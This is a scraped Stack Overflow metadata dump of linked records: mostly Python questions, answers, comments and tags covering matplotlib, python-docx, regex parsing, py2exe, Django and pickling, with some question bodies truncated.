has comment: http://stackoverflow.com/comment/84299271

http://stackoverflow.com/a/48690210
type: Answer
accepted answer of: http://stackoverflow.com/q/48689438
has comment: http://stackoverflow.com/comment/84391351
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48689438
downvote count: 0
has body: maybe you can make this document=Document() p=document.add_heading(level=0) wp = p.add_run('I want this sentence colored red with fontsize=22') wp.font.size = Pt(22) wp.font.color.rgb = RGBColor(255,0,0)
score: 8
upvote count: 8

http://stackoverflow.com/comment/84428260
score: 1
has text: Just an update I fixed datatables.net/tn/7 loading other scripts and now I have error number 1 ' Invalid JSON response'
type: AnswerComment
comment on: http://stackoverflow.com/a/48707124
type: Comment

http://stackoverflow.com/comment/84589373
comment on: http://stackoverflow.com/a/48792935
has text: Thanks for the explaination, I will try this out.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84371930
has text: Can't you just do `return self.vector == other.vector`?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48686753
type: QuestionComment

http://stackoverflow.com/comment/84582103
score: 0
comment on: http://stackoverflow.com/q/48789531
has text: You can get machine precision by computing `7./3 - 4./3 -1`. See [this](https://stackoverflow.com/questions/19141432/python-numpy-machine-epsilon).
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48654628
linked to: http://stackoverflow.com/q/12318172
tagged with: tkinter
answer count: 0
has comment: http://stackoverflow.com/comment/84309393
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84308512
type: Question
has title: Why the plots look blurry with "TkAgg" backend on retina screen?
has comment: http://stackoverflow.com/comment/84307907
upvote count: 5
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/84307615
has comment: http://stackoverflow.com/comment/84308384
score: 5
downvote count: 0
has body: I'm using matplotlib to show plots in a GUI app done with tkinter. I've noticed that plots look blurry on the retina screen of my Mac Book Pro. Below is a minimal example to reproduce my problem. Why am I having the blurry plots with "TkAgg" backend? Is there a way to fix this? MacOS 10.13.2, Python version: 3.6.4, Matplotlib version: 2.1.2, tkinter.TkVersion: 8.5. Notice that the default "MacOSX" backend produces nice sharp plots. Besides, if I create a tkinter app, other elements like labels, menus are sharp as well, only the plot is blurry. import matplotlib matplotlib.use('TkAgg') # Remove this to compare with MacOSX backend import matplotlib.pyplot as plt f = plt.figure(figsize=(6, 4)) a = f.add_subplot(111) a.plot([1,2,3,4]) plt.show()
has comment: http://stackoverflow.com/comment/84307774
has comment: http://stackoverflow.com/comment/84308659
favorite count: 0
has comment: http://stackoverflow.com/comment/84307863
has comment: http://stackoverflow.com/comment/84374861
tagged with: python
tagged with: macos

http://stackoverflow.com/q/48679718
has comment: http://stackoverflow.com/comment/84364287
tagged with: opencv
tagged with: image-processing
has comment: http://stackoverflow.com/comment/84491078
has comment: http://stackoverflow.com/comment/84368662
has body: I'm new here, so if there is anything wrong or required in the question. Instead of down voting the question, please, do let me know the problem so I can fix and learn. I'm working on image transformation. I have some shapes similar to this one Expected Output First, I'm trying to rotate the input shape to this Approach 1st to find angle using Hough Line Transform, and use that for rotating the image. But due some deformities in input shapes, it does not work. For ex: Some input images get even more slanted line. Approach 2nd By using cv2.minAreaRect() which also returns the angle, and using that angle to rotate. Fails in some cases similar to this There goes the rotation transformation. Second, I'm trying using cv2.getPerspectiveTransform() and cv2.warpPerspective() which requires old co-ordinates and new co-ordinates. For that, I tried Harris Corner detection, resulting to this. I guess using the perspective approach will also solve the distorted line on Right side of the object. Any other ideas on how to approach this problem ? Thank You.
has comment: http://stackoverflow.com/comment/85214018
has comment: http://stackoverflow.com/comment/84497749
answer count: 0
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84488608
has comment: http://stackoverflow.com/comment/84358062
has comment: http://stackoverflow.com/comment/84359746
type: Question
has comment: http://stackoverflow.com/comment/84360179
score: 3
has comment: http://stackoverflow.com/comment/85214037
tagged with: python
has comment: http://stackoverflow.com/comment/84488980
favorite count: 0
has comment: http://stackoverflow.com/comment/84493970
upvote count: 3
has comment: http://stackoverflow.com/comment/84489799
has title: Transforming image to make it parallel with X axis

timer
tag name: timer
type: Tag
tags question: http://stackoverflow.com/q/48782104
tags question: http://stackoverflow.com/q/48729417

http://stackoverflow.com/q/48732515
has comment: http://stackoverflow.com/comment/84474169
accepted answer: http://stackoverflow.com/a/48732616
has comment: http://stackoverflow.com/comment/84464224
downvote count: 0
tagged with: string
has comment: http://stackoverflow.com/comment/84464390
favorite count: 0
has answer: http://stackoverflow.com/a/48732664
has answer: http://stackoverflow.com/a/48732653
tagged with: python
tagged with: regex
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48732644
possible better answer: http://stackoverflow.com/a/48732653
score: 3
upvote count: 3
has answer: http://stackoverflow.com/a/48733896
has body: I have a file type with many rows containing information as follows: P087 = ( 4.000000000000000E+001,-6.250000000000000E-001 ) P088 = ( 4.000000000000000E+001, 0.000000000000000E+000 ) I'm reading this file line by line using fo = open(FileName, 'r') for line in fo: #do stuff to line I'd like to see how to split each line to give lists as follows: [87, 40.0,-0.625] [88, 40.0, 0.0] I tried splitting using python's regular .split() method but it doesn't split the lines consistently, yielding varying list lengths for each line. I also investigated re.split() using stuff like re.split([ = ( ]|,) but that didn't work either. I'm also not a big regular expression user (though I know they are very powerful) which explains why I'm having a hard time finding the right one. I guess I need to delimit the lines by ' = ( ' and ',' though I'm really not sure how to do it such that the resulting lists are consistent. Any help would be much appreciated. Thanks
type: Question
has comment: http://stackoverflow.com/comment/84464313
has answer: http://stackoverflow.com/a/48732618
has title: Splitting strings based on multiple delimiters does not yield consistent result
has answer: http://stackoverflow.com/a/48732616
answer count: 6

http://stackoverflow.com/comment/84370523
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48666806
has text: Ok. But without Lock (verrou), the problem remains, my output file is not complete. Even with one process (i.e step =SizeOfSet)

http://stackoverflow.com/comment/84578456
score: 0
type: Comment
type: QuestionComment
has text: I have a class, and through that class I have some methods that try to store data on ES. I want to mock out the ES part. Could you elaborate on what you meant?
comment on: http://stackoverflow.com/q/48788314

http://stackoverflow.com/a/48745624
has body: lst = ['40799\t1890\t11-16-15\n', '40800\t1890\t11-17-15\n', '40801\t1890\t11-18-15\n', '40802\t1890\t11-19-15\n'] print [tuple(s.split()) for s in lst] output: [('40799', '1890', '11-16-15'), ('40800', '1890', '11-17-15'), ('40801', '1890', '11-18-15'), ('40802', '1890', '11-19-15')]
has comment: http://stackoverflow.com/comment/84495814
score: 3
answers question: http://stackoverflow.com/q/48745275
downvote count: 0
has comment: http://stackoverflow.com/comment/84495492
has comment: http://stackoverflow.com/comment/84495822
upvote count: 3
type: Answer

http://stackoverflow.com/comment/84558782
score: 0
type: Comment
has text: Did you do any research before askng? I feel like I’ve answered a similar question in the past week or two.
type: QuestionComment
comment on: http://stackoverflow.com/q/48778189

http://stackoverflow.com/comment/84604617
comment on: http://stackoverflow.com/q/48800822
score: 0
type: Comment
type: QuestionComment
has text: The system is stuck because it doesn't need that file. Play with your own files, not system files.

http://stackoverflow.com/comment/95938688
type: Comment
has text: getting this error - OSError: [Errno 9] Bad file descriptor for os.fdopen statement. Any idea how to fix this?
comment on: http://stackoverflow.com/a/48714724
type: AnswerComment
score: 0

http://stackoverflow.com/q/48771732
has answer: http://stackoverflow.com/a/48771795
has body: oneCounts = [[{'l':0,'r':0,'t':0,'b':0}] * N for i in range(0,N)] oneCounts[0][1]['t'] = 3 In the above code setting key value on a specific dictionary causes all dictionaries in the same list to get their t key values get set to the same value. This is unexpected to me. What am I missing?
tagged with: python
favorite count: 0
score: -1
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84545030
has title: How to create a list containing N Lists each containing N distinct dictionaries using comprehension syntax?
downvote count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48771795
has comment: http://stackoverflow.com/comment/84545046
linked to: http://stackoverflow.com/q/21518486
has comment: http://stackoverflow.com/comment/84544649
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84545236
upvote count: 0
possible better answer: http://stackoverflow.com/a/48772052
has comment: http://stackoverflow.com/comment/84547374
has answer: http://stackoverflow.com/a/48772052

http://stackoverflow.com/comment/84528437
has text: @AbhishekNegi, but in `res.text`, there is no **._KBh a**. This is the reason you get empty tuple. Can you please recheck the `res.text`?
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48763190

http://stackoverflow.com/q/48651345
has comment: http://stackoverflow.com/comment/84300993
linked to: http://stackoverflow.com/q/16505456
has answer: http://stackoverflow.com/a/48651420
linked to: http://stackoverflow.com/q/19389490
score: 5
tagged with: for-loop
has comment: http://stackoverflow.com/comment/84301242
tagged with: arrays
downvote count: 0
has comment: http://stackoverflow.com/comment/84301141
favorite count: 0
upvote count: 5
answer count: 3
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48651622
tagged with: list
has title: Delete list word combination python 3
has comment: http://stackoverflow.com/comment/84300738
has answer: http://stackoverflow.com/a/48652413
has body: I have a list of strings that i would like to search for a word combination. Then delete the list if the combination is not there. Is there a python list comprehension that would work? word_list = ["Dogs love ice cream", "Cats love balls", "Ice cream", "ice cream is good with pizza", "cats hate ice cream"] keep_words = ["Dogs", "Cats"] Delete_word = ["ice cream"] Delete words that have ice cream in it but if dogs or cats is in the sentence keep it. Desired_output = ["Dogs love ice cream", "Cats love balls", "cats hate ice cream"] Was trying this code also tried AND and OR but cannot get the combination right. output_list = [x for x in word_list if "ice cream" not in x]
type: Question

http://stackoverflow.com/q/48703800
tagged with: py2exe
has body: I have been reading all possible posts with the similar topic, tried all possible suggestions, still can't make it work. the setup.py I started with was very simple, like this: from distutils.core import setup import py2exe setup(console=['test.py'],options={"py2exe":{"dll_excludes":["MSVCP90.dll", "HID.DLL", w9xpopen.exe"],"skip_archive": [True]}}) test.py is compiled correctly test.py is very simple: import sys import win32com.client #imports the pywin32 library scope=win32com.client.Dispatch("LeCroy.ActiveDSOCtrl.1") #creates instance of the ActiveDSO (ActiveX object) control scope.MakeConnection("IP:127.0.0.1") #Connects to the local host scope.WriteString("*IDN?",1) print ("scope model: "+scope.ReadString(80)) I get the error right at the first line:import win32com.client test.py itself works well tried using additional code in setup.py as suggested at this link:http://www.py2exe.org/index.cgi/win32com.shell (using modulefinder) but I am getting exactly the same error: No module named win32com hope some one can help with this or suggest another way to compile a pythons script where this win32com.client is mandatory. thanks
type: UnansweredQuestion
upvote count: 1
type: Question
tagged with: win32com
score: 1
has answer: http://stackoverflow.com/a/48703906
has comment: http://stackoverflow.com/comment/84407174
downvote count: 0
answer count: 1
favorite count: 0
tagged with: python
has title: python script compiled with py2exe Import error: no module named win32com

http://stackoverflow.com/q/48675638
type: Question
has comment: http://stackoverflow.com/comment/84349848
has comment: http://stackoverflow.com/comment/84349915
has body: I have a list with a varying amount of dictionaries contained within it. I need to loop over each dictionary in input and compared the key values 's_source_zone' 's_destination_zone' and 'Services'. If these key values match, i need to combine them (Keys Source IP and Destination IP) into one dictionary stored within result []. If they do not match, the input dictionary needs to be added to result. Essentially consolidating all "matching" dictionaries into one. See below example result = [] input_ = [{'s_logical_system': 'logical_1', 's_virtual_router': 'vr_1', 's_matched_route': '10.0.0.0/8', 's_source_zone': 'zone_cccc_1', 's_destination_zone': 'zone_bbbb_1', 'Services': 80, 'Source IP': '10.10.10.10', 'Destination IP': '10.20.20.20'}, {'s_logical_system': 'logical_1', 's_virtual_router': 'vr_1', 's_matched_route': '10.0.0.0/8', 's_source_zone': 'zone_cccc_1', 's_destination_zone': 'zone_bbbb_1', 'Services': 80, 'Source IP': '10.40.10.10', 'Destination IP': '10.10.50.20'}, {'s_logical_system': 'logical_3', 's_virtual_router': 'vr_2', 's_matched_route': '10.0.0.0/8', 's_source_zone': 'zone_zzzz_1', 's_destination_zone': 'zone_rrrr_1', 'Services': 443, 'Source IP': '10.10.10.10', 'Destination IP': '10.20.20.20'}] if 's_source_zone', 's_destination_zone' and 'Services' all have the same values, combine the keys "Source IP" and "Destination IP" into one dictionary appended to result[]. See below; result = [{'s_logical_system': 'logical_1', 's_virtual_router': 'vr_1', 's_matched_route': '10.0.0.0/8', 's_source_zone': 'zone_cccc_1', 's_destination_zone': 'zone_bbbb_1', 'Services': 80, 'Source IP': '10.10.10.10, 10.40.10.10', 'Destination IP': '10.20.20.20, 10.10.50.20'}, {'s_logical_system': 'logical_3', 's_virtual_router': 'vr_2', 's_matched_route': '10.0.0.0/8', 's_source_zone': 'zone_zzzz_1', 's_destination_zone': 'zone_rrrr_1', 'Services': 443, 'Source IP': '10.10.10.10', 'Destination IP': '10.20.20.20'}] if match not found. Append the entire dictionary to result. r…
has comment: http://stackoverflow.com/comment/84350503
answer count: 1
has answer: http://stackoverflow.com/a/48676671
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84349777
accepted answer: http://stackoverflow.com/a/48676671
tagged with: python
has comment: http://stackoverflow.com/comment/84349820
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/84350641
has title: Comparing and combining dictonaries
upvote count: 1
has comment: http://stackoverflow.com/comment/84351258

http://stackoverflow.com/comment/84454981
type: QuestionComment
has text: Unrelated, but you say less than, but your code also checks equal to
score: 0
comment on: http://stackoverflow.com/q/48727964
type: Comment

http://stackoverflow.com/comment/84460669
comment on: http://stackoverflow.com/q/48730514
score: 2
type: Comment
has text: https://stackoverflow.com/a/22303906/2836621
type: QuestionComment

http://stackoverflow.com/comment/84336389
has text: After you added the `requirements.txt` to you repository and pushed to Heroku, I believe the error message should have changed. If so, please paste the error message so we can check if there's any useful information.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48668531
type: QuestionComment

http://stackoverflow.com/q/48683295
has body: I have a function that returns a customized class type which I then want to pickle and unpickle. I am trying to follow this answer and the __reduce__ documentation. I am using Python 2.7. The difference from that answer is that my function accepts an arbitrary class and returns a class derived from it. This is what I have: class Base(object): def foo(self, a): return a + 1 def __reduce__(self): return _InitializeDynamicClass(), (), self.__dict__ def get_dynamic_class(BaseClass): # BaseClass can be any class derived from Base, or Base itself class DynamicClass(BaseClass): def foo(self, a): return BaseClass.foo(self, a) + 2 return DynamicClass class _InitializeDynamicClass(object): def __call__(self, param_value): obj = _InitializeDynamicClass() obj.__class__ = get_dynamic_class(Base) # giving Base here is probably wrong, but how can I fix it? return obj if __name__ == "__main__": from pickle import dumps, loads dynamic_instance = get_dynamic_class(Base)() dynamic_instance_dump = dumps(dynamic_instance) del dynamic_instance dynamic_instance = loads(dynamic_instance_dump) # raises TypeError The dumps command works but the loads command raises a TypeError: File "/home/user/anaconda2/lib/python2.7/pickle.py", line 1388, in loads return Unpickler(file).load() File "/home/user/anaconda2/lib/python2.7/pickle.py", line 864, in load dispatch[key](self) File "/home/user/anaconda2/lib/python2.7/pickle.py", line 1139, in load_reduce value = func(*args) TypeError: __call__() takes exactly 2 arguments (1 given) How can I overcome this? If this problem stems from a basic design flaw, how would I restructure this code to enable serialization of instances of dynamically generated classes?
linked to: http://stackoverflow.com/q/4647566
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: pickle
tagged with: python
tagged with: factory
score: 2
has title: Pickling and Unpickling a dynamically generated class
answer count: 0
upvote count: 2
type: Question
tagged with: class

http://stackoverflow.com/comment/84742964
comment on: http://stackoverflow.com/a/48705554
score: 0
type: AnswerComment
type: Comment
has text: @IvarStangeby yes it should be totally fine. You would just have to add extra slicing to every slicing operation: e.g. `b = B[:, :, None] - B[:, None, :]`.

http://stackoverflow.com/comment/84491304
type: QuestionComment
score: 0
has text: @labjunky: Did that regex pattern work for you?
type: Comment
comment on: http://stackoverflow.com/q/48744241

http://stackoverflow.com/q/48677262
has comment: http://stackoverflow.com/comment/99184824
tagged with: python
has title: Django - proper way to implement threaded comments
has body: I'm developing a blog site using Django. My site will allow users to comment on any of my blog posts and also reply to each other and will be displayed using a 'threaded comments' structure (I haven't started user functionality yet, just comments). I've got the threaded comments to work properly using django-mptt (at least, for now), but I have NO CLUE if the route or steps I'm taking are in the right direction. Almost all the tutorials I've gone through only scratch the surface when it comes to comments and doesn't talk about threaded comments in django. I want some experienced/professional advice on what I might be doing wrong and what I could be doing better. The last thing I want is to find out there was a much more acceptable way of going about, after hours of work put in. So, here is a list of what I need clarity on: django-mptt: I chose this because I can afford slower write times. My site will have more reads than writes. Is this option okay for my case? Is there a better alternative I don't know about? What should I do if my site does end up having lots of commenting activity? What could I do to optimize tree restructuring? Or would I be better off switching to an adjacency list? My MPTT comment model has a ForeignKey referenced to itself (for replies). Is this the right way? Or should I create a separate reply model? The way I insert a reply to another user's comment in the tree is using a hidden input within the form that's within the mptt recursive template tags, and return the input value (which is the id of the comment that the reply is for) and set the parent of the reply to that input value. Is this an accepted method? Multiple forms on one HTML page I have two forms on my blog post HTML page. One to comment on the blog post, and one to reply to a user's comment. Is this accepted? Or should I create different URLs and view functions for different forms? I did it this way because I wanted a Reddit style commenting system. I don't want it to have to go…
has comment: http://stackoverflow.com/comment/92645988
has comment: http://stackoverflow.com/comment/102421734
has comment: http://stackoverflow.com/comment/84417989
tagged with: django
upvote count: 24
type: Question
has answer: http://stackoverflow.com/a/57825343
score: 24
tagged with: django-mptt
has comment: http://stackoverflow.com/comment/89386555
has comment: http://stackoverflow.com/comment/84396590
tagged with: threaded-comments
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/103325517
has comment: http://stackoverflow.com/comment/97995268
has comment: http://stackoverflow.com/comment/84353671
favorite count: 0
has comment: http://stackoverflow.com/comment/98218497
type: UnansweredQuestion

http://stackoverflow.com/q/48786152
has body: For example: testvar = "test" print(f"The variable contains \"{testvar}\"") Formatted string literals were introduced in python3.6 if i use #!/usr/bin/env python3, it will throw a syntax error if there is an older version of python installed. If i use #!/usr/bin/env python3.6, it won't work if python3.6 isn't installed, but a newer version is. How do i make sure my program runs on a certain version and up? I can't check the version if using python3, since it won't even start on lower versions. Edit: I don't mean how to run it, of course you could just explicitly say "run this with python3.6 and up", but what is the correct way to make sure the program is only ran with a certain version or newer when using ./scriptname.py?
has comment: http://stackoverflow.com/comment/84574789
tagged with: shebang
linked to: http://stackoverflow.com/q/11170827
accepted answer: http://stackoverflow.com/a/48786948
has comment: http://stackoverflow.com/comment/84573709
has comment: http://stackoverflow.com/comment/84574432
answer count: 1
downvote count: 0
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84574310
tagged with: python
score: 11
has comment: http://stackoverflow.com/comment/84574034
has title: How to write shebang when using features of minor versions
upvote count: 11
type: AnsweredQuestion
tagged with: posix
has answer: http://stackoverflow.com/a/48786948
type: Question
has comment: http://stackoverflow.com/comment/84573691

http://stackoverflow.com/q/48734926
has comment: http://stackoverflow.com/comment/84469355
tagged with: django
has comment: http://stackoverflow.com/comment/84492186
has comment: http://stackoverflow.com/comment/84504624
type: Question
has comment: http://stackoverflow.com/comment/84488574
has comment: http://stackoverflow.com/comment/84504330
has body: When I want to update my code on server, I obtain this error after python manage.py migrate: Traceback (most recent call last): File "/home/ubuntu/casista-root/venv/lib/python3.5/site-packages/django/db/backends/utils.py", line 65, in execute return self.cursor.execute(sql, params) psycopg2.ProgrammingError: relation "properties_property" does not exist LINE 1: SELECT "properties_property"."locality" FROM "properties_pro... I've tried deleting all migrations and recreate it, but when I execute python manage.py makemigrations the error appears another time. I've also tried to drop and create database but it seems that never work to solve the issue. Is the first time it crashes.. am I making something wrong? Update: add choices.py I fix it commenting next code: from properties.models import Property CITIES = ( ('any', 'Cualquiera'), ) # cities = Property.objects.all().values_list('locality', flat=True) # for city in cities: # ALL_CITIES = CITIES + ((city.lower(), city),) Can't I do it?? And how can I do it? Thank you!
has comment: http://stackoverflow.com/comment/84475281
has comment: http://stackoverflow.com/comment/84500001
has comment: http://stackoverflow.com/comment/84504723
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84506298
tagged with: python
has title: Django crashes when I run makemigrations and migrate
answer count: 0
score: 0
has comment: http://stackoverflow.com/comment/84469221

http://stackoverflow.com/comment/84559628
comment on: http://stackoverflow.com/a/48778131
type: Comment
has text: If you replace `table = soup.find(...` with `tables = soup.find_all(...`, then you can iterate over them tables and do with them as you want (Like ChootsMaggots suggests if I understood correctly)
score: 1
type: AnswerComment

http://stackoverflow.com/q/48657080
answer count: 0
downvote count: 0
has title: How to animate labels corresponding to a scatter plot
duplicate of: http://stackoverflow.com/q/18351932
type: Question
duplicate of: http://stackoverflow.com/q/48416213
linked to: http://stackoverflow.com/q/18351932
score: 1
linked to: http://stackoverflow.com/q/48416213
upvote count: 1
has comment: http://stackoverflow.com/comment/84312400
favorite count: 0
type: UnansweredQuestion
tagged with: animation
tagged with: python
has body: Previous questions that have asked how to animate an annotation have used a predefined equation were the annotation animation is reproducible. This question asks to find and return an xy coordinate at each time point so an annotation can be made in that spot. I have an animated scatter plot that shows the XY co-ordinates of certain subjects. A sample dataset is shown below: Time Player 1_X Player 1_Y Player 2_X Player 2_Y Player 3_X Player 3_Y Player 4_X 10:39.2 65.7 45.1 -2.2 -5.0 73.7 -3.5 61.9 10:39.3 65.8 45.2 -2.2 -5.0 73.7 -3.3 61.7 10:39.4 65.8 45.2 -2.2 -5.0 73.6 -3.2 61.7 10:39.5 65.8 45.3 -2.2 -5.1 73.6 -3.0 61.5 10:39.6 65.8 45.3 -2.1 -5.1 73.5 -2.9 61.3 10:39.7 65.8 45.4 -2.1 -5.2 73.5 -2.9 61.2 10:39.8 65.7 45.6 -2.2 -5.2 73.4 -2.7 61.1 10:39.9 65.7 45.6 -2.2 -5.2 73.3 -2.5 61.0 10:40.0 65.7 45.9 -2.3 -5.3 73.3 -2.5 60.9 10:40.1 65.7 46.1 -2.3 -5.3 73.3 -2.4 60.7 The code to animate these XY coordinates is shown below. I have tried to add an annotation to the first player's animated scatter plot but can't seem to get it working. I'm hoping that each frame would show the XY data point and the corresponding name. So Player 1 would be labelled above the XY Coordinate of Player 1 at each time point. import csv import matplotlib.pyplot as plt import matplotlib.animation as animation visuals = [[],[],[]] with open('Wide_Single_timestamp2.csv') as csvfile : readCSV = csv.reader(csvfile, delimiter=',') n=0 for row in readCSV : if n == 0 : n+=1 continue visuals[0].append(list(map(float, row[3::2]))) visuals[1].append(list(map(float, row[2::2]))) fig, ax = plt.subplots(figsize = (8,8)) plt.grid(False) scatter = ax.scatter(visuals[0][0], visuals[1][0], c=['blue'], alpha = 0.7, s = 20, edgecolor = 'black', zorder = 1) #Scatter plot annotation = ax.annotate('Player 1', xy=(visuals[0][0],visuals[1][0])) def animate(i) : scatter.set_offsets([[[[[visuals[0][0+i][0], visuals[1][0+i][0]], [visuals[0][0+i][1], visuals[1][0+i][1]], [visuals[0][0+i][2], visuals[1][0+i][2]],…
has comment: http://stackoverflow.com/comment/84314369
tagged with: list
has comment: http://stackoverflow.com/comment/84347257

system-calls
type: Tag
tags question: http://stackoverflow.com/q/48709793
tag name: system-calls

http://stackoverflow.com/comment/84416131
type: Comment
comment on: http://stackoverflow.com/a/48688580
has text: Yes I used different methods for locating different elements and almost done, but the last button is producing erroe when tried with by 'class method' This is what I tried for by class method: `give_access = driver.find_element_by_class_name("_1cPA3")` then for by css selector: #root > div > div > div._3Vu4w._3Xzhy > div._2Jdsd > div > div._3wkMv > div > button `give_access = driver.find_element_by_css_selector('#root > div > div > div._3Vu4w._3Xzhy > div._2Jdsd > div > div._3wkMv > div > button')` tried this Then for xpath:
score: 0
type: AnswerComment

http://stackoverflow.com/comment/117218571
score: 1
has text: Thanks, I did not know about this feature of google colab.
comment on: http://stackoverflow.com/a/61948448
type: Comment
type: AnswerComment

http://stackoverflow.com/a/48796523
has comment: http://stackoverflow.com/comment/84595664
score: 0
has comment: http://stackoverflow.com/comment/84595600
type: Answer
has body: You're problem is that you are constantly modifying NewCode so that at each step it continues to modify itself, changing the numbers to their ASCII numbers. Instead of re-using NewCode for each replacestatement, use a new variable as a buffer. Code = '3210' NewCode = Code.replace('', Zero) #NewCode is now 321048 print(NewCode, '\n\n') time.sleep(0.1) NewCode = NewCode.replace('4', Four) #The '4' near the end of '321048' gets replaced with '052' making NewCode = 32100528 print(NewCode, '\n\n') time.sleep(0.1)
answers question: http://stackoverflow.com/q/48796374

http://stackoverflow.com/comment/84377804
type: Comment
score: 0
type: AnswerComment
has text: I cleared the content of the ALLOWED_HOSTS, and executed `python manage.py runserver 0.0.0.0:8000`, but there is no progress. HTTP response is logged in the same way as it was before.
comment on: http://stackoverflow.com/a/48688397

http://stackoverflow.com/comment/84590806
type: AnswerComment
comment on: http://stackoverflow.com/a/48794109
has text: Noticed you used % format instead of format(). Personal preference or just following OP's code?
type: Comment
score: 0

http://stackoverflow.com/q/48654970
score: 0
has comment: http://stackoverflow.com/comment/84308663
tagged with: python
has comment: http://stackoverflow.com/comment/84308687
has title: subtraction of time in two different lines in a text file using python
tagged with: extract
tagged with: time
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/84308303
has answer: http://stackoverflow.com/a/48655010
linked to: http://stackoverflow.com/q/6822725
answer count: 1
has body: I am working on some data extraction in a text file. I have been using MATLAB for a while now, but it seems kinda more stressful. I started using python for the extraction. Now I have a pretty complex question and I don't even have any idea about how to do it. Here's what I've done so far. I have a log file that looks likes this: 2017-12-21T23:59:19.120Z 'D|Beat: 971|RStrtD' 2017-12-21T23:59:19.120Z 'D|Beat:2143|B-&gt;' 2017-12-21T23:59:19.120Z 'D|Beat:2113|sndB:0x5caa' 2017-12-21T23:59:19.175Z 'I|PSnd: 61|snd[3D]:FFFF m:0x5caa e:0' 2017-12-21T23:59:19.175Z 'I|PSnd: 233|sD[3D]m:0x5caa e:0' 2017-12-21T23:59:19.175Z 'D|Beat:1259|WDTimeout: 300' 2017-12-21T23:59:19.175Z 'D|Beat:1282|sd:0x5caa: e:0' 2017-12-21T23:59:19.175Z 'D|Beat:1302|sprts' 2017-12-21T23:59:19.175Z 'D|LgPl: 68|BSP:getSize:19' 2017-12-21T23:59:19.175Z 'D|Beat:5503|GetPckt:0x4e5e' 2017-12-21T23:59:19.175Z 'D|Beat:7140|Prtns-&gt;' 2017-12-21T23:59:19.175Z 'D|Beat:2008|sevt:72' 2017-12-21T23:59:19.175Z 'I|Beat:2021|SndQ:1' 2017-12-21T23:59:19.175Z 'D|Beat:1805|snd:0x4e5e' 2017-12-21T23:59:19.175Z 'I|PSnd: 61|snd[B0]:FFFF m:0x4e5e e:0' 2017-12-21T23:59:19.175Z 'I|PSnd: 233|sD[B0]m:0x4e5e e:0' 2017-12-21T23:59:19.175Z 'D|Beat:1866|sd:0x4e5e:0' 2017-12-21T23:59:19.175Z 'D|Beat:1192|drop:2402 q:43' 2017-12-21T23:59:19.301Z 'D|Beat:1220|Rcv&lt;-RP, s:2402' 2017-12-21T23:59:19.301Z 'D|LgPl: 68|BSP:getSize:19' 2017-12-21T23:59:19.301Z 'I|Beat:1243|RcvQ:1' 2017-12-21T23:59:19.301Z 'D|Beat:1245|FrMsg:0x4cc0 QMsg:0x3ba4' 2017-12-21T23:59:19.301Z 'D|Beat:8934|AAltB-&gt;B1302' 2017-12-21T23:59:19.416Z 'D|Beat:1192|drop:2402 q:50' 2017-12-21T23:59:19.416Z 'D|Beat:10392|RStp' 2017-12-21T23:59:19.437Z 'D|Beat: 997|RStpD' 2017-12-21T23:59:19.489Z 'D|Beat:6502|slt:2' 2017-12-21T23:59:19.489Z 'D|Beat:10341|RStrt' 2017-12-21T23:59:19.489Z 'D|Beat:4713|prtTS:2' 2017-12-21T23:59:19.489Z 'D|Beat: 971|RStrtD' 2017-12-21T23:59:19.552Z 'D|Beat:1192|drop:2402 q:36' 2017-12-21T23:59:19.820Z 'D|Beat:1192|drop:2402 q:48' 2017-12-21T…

http://stackoverflow.com/comment/85207912
type: Comment
type: QuestionComment
has text: If a client tries to read a line then the server should have send one. Now did the server?
score: 0
comment on: http://stackoverflow.com/q/48719590

http://stackoverflow.com/comment/84432141
has text: @meow It's n^2 anyway, as the array itself is.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48716396
score: 0

http://stackoverflow.com/q/48665128
score: -3
accepted answer: http://stackoverflow.com/a/48665217
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84327805
has comment: http://stackoverflow.com/comment/84328245
favorite count: 0
linked to: http://stackoverflow.com/q/9205081
has comment: http://stackoverflow.com/comment/84328677
has comment: http://stackoverflow.com/comment/84329033
tagged with: python
has body: I do have a map: foo_map = { 'func1': sky() 'func2': tree() 'fnuc3': ground() } I do have a foobar_list = ['func2', 'fnuc3'] I do have methods too: d ef sky(): print "sky" def tree(): print "tree" def ground(): print "ground" I do want to do as follows: for element in foobar_list: foo_map[element] The expected result is to call methods assigned to 'func2', 'fnuc3' so tree() and ground() without calling sky(). Although, sky() and ground() and tree() are called when foo variable is created because I understand memory is allocated for this variable object hence the calls are executed. How to achieve the above without calling sky()??? EDIT: My question is not duplicate of the highlighted duplicated question. My question has been asked with different keywords and duplicate question has not been recommended as suggested answer when I typed my question. Technically, both questions are the same but the questions are not the same from natural language perspective.
has comment: http://stackoverflow.com/comment/84328504
duplicate of: http://stackoverflow.com/q/9205081
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84329811
has title: Python call method by list value only during iteration through list
downvote count: 3
type: Question
has answer: http://stackoverflow.com/a/48665217
has comment: http://stackoverflow.com/comment/84327671
has comment: http://stackoverflow.com/comment/84327840

python-keyring
type: Tag
tag name: python-keyring
tags question: http://stackoverflow.com/q/48766502

taskset
tag name: taskset
type: Tag
tags question: http://stackoverflow.com/q/48739300

http://stackoverflow.com/comment/84539258
